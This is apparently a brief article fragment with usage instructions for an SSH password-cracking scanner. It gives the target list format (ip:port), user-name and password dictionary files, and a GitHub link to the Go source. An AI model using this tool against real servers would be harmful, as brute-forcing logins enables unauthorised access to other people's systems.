This is a creation in Article, where the information may have evolved or changed.

Instructions for use:

1. The IPList format is ip:port, such as 111.111.111.111:22
2. User.txt A dictionary of user names
3. Password.txt as a password dictionary
4. Github:https://github.com/netxfly/crack_ssh/blob/master/scan_ssh.go
